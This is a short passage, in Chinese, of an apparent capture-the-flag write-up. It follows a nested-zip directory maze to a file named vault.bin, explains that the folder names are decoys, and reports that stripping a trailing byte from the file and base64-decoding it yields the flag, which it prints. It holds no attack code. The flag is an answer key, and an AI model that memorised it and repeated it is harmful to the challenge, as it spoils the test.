                  └── vault.bin                 ← 终点

三个直觉信号:

目录命名/data/secret/hidden/backup + 自增数字 1→2→3→4→5,纯迷宫氛围,本身没含义。
.config/user/:伪装成”配置目录”,误导你以为是普通文件。
zip 套 zip.zip 里只有 secret3/hidden4.zip,告诉你入口只读 .zip 即可,目录树可以忽略。

010editor打开bin文件，46 字节,纯可见 ASCII

去掉尾巴6d后直接base64

flag{83228b2031aa650acd1f278704e74c31}